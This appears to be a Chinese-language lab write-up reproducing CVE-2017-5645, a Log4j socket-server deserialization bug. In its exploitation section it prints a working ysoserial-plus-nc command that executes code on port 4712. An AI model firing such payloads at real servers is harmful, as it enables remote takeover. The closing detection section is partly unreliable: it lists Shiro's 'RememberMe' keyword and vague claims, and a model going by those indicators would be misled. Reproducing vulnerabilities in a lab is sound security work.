Apache Log4j Server 反序列化命令执行漏洞(CVE-2017-5645)(漏洞复现详细过程)
目录
一、漏洞介绍
CVE-2017-5645 是 Apache Log4j 服务器的一个反序列化命令执行漏洞,攻击者可以利用这个漏洞通过发送精心制作的请求,远程执行命令,从而危及服务器的安全。
二、漏洞环境搭建
进入漏洞目录文件,启动漏洞环境:docker-compose up -d
查看容器运行状态:docker ps -a
可以看到环境启动成功后,会在4712端口开启了一TCP服务。(至此漏洞环境搭建完成了,使用docker搭建环境就是如此简单易操作)
三、漏洞利用
扫描目标开启的端口:nmap your-ip -p 4712
在这里我们呢可以看到4712端口是开启的,然后我们使用ysoserial生成payload,然后直接发送给your-ip:4712端口即可。
ysoserial介绍:
是在常见的java库中发现的一组实用程序和面向属性的编程“小工具链”,在适当的条件下,可以利用执行对象不安全反序列化的Java应用程序。(没有工具的小伙伴 可以私聊我)
我们下载打包好的jar文件到我们的kali主机上。
执行命令:
java -jar ysoserial-all.jar CommonsCollections5 "touch /tmp/success" | nc your-ip 4712
这个命令是在靶机的/tmp目录下创建一个success文件,如果我们的命令执行成功,那么在靶机上可以找到这个文件。
到靶机上进行检测文件是否被创建,命令是否执行成功。
查看容器id:docker ps -a
在靶机上执行命令,打开网站目录:docker exec -it [容器id] /bin/bash
然后进入到tmp目录,执行命令:cd tmp ,显示目录下文件:ls,可以看到success文件,可见touch /tmp/testsuccess执行成功。
至此漏洞复现完成。
四、漏洞流量特征:
1、攻击者通常利用Log4j漏洞来执行远程指令,因此攻击流量中可能包含恶意代码。
2、攻击者可以通过利用Log4j漏洞来绕过Web应用程序的安全性,因此攻击流量中可能包含对Web应用程序的修改和访问。
3、攻击者通常会尝试使用恶意代码来启动已被收集的许多有价值的数据,因此攻击流量中可能包含大量的数据包。
在攻击流量中, Log4j漏洞的攻击通常会使用特定的Payload。
判断是否已经攻击成功我们要检查应用程序的日志文件,特别是logs文件夹中的日志文件。
以下是一些可以帮助判断漏洞是否被利用的指标:
当日志文件中出现“RememberMe”或“Admin”等关键字。
日志文件中出现远程代码执行相关的异常信息。
检查系统中是否存在未知的网络流量,特别是与恶意IP地址之间的流量。
检查服务器的端口使用情况,确认是否存在未知的端口使用。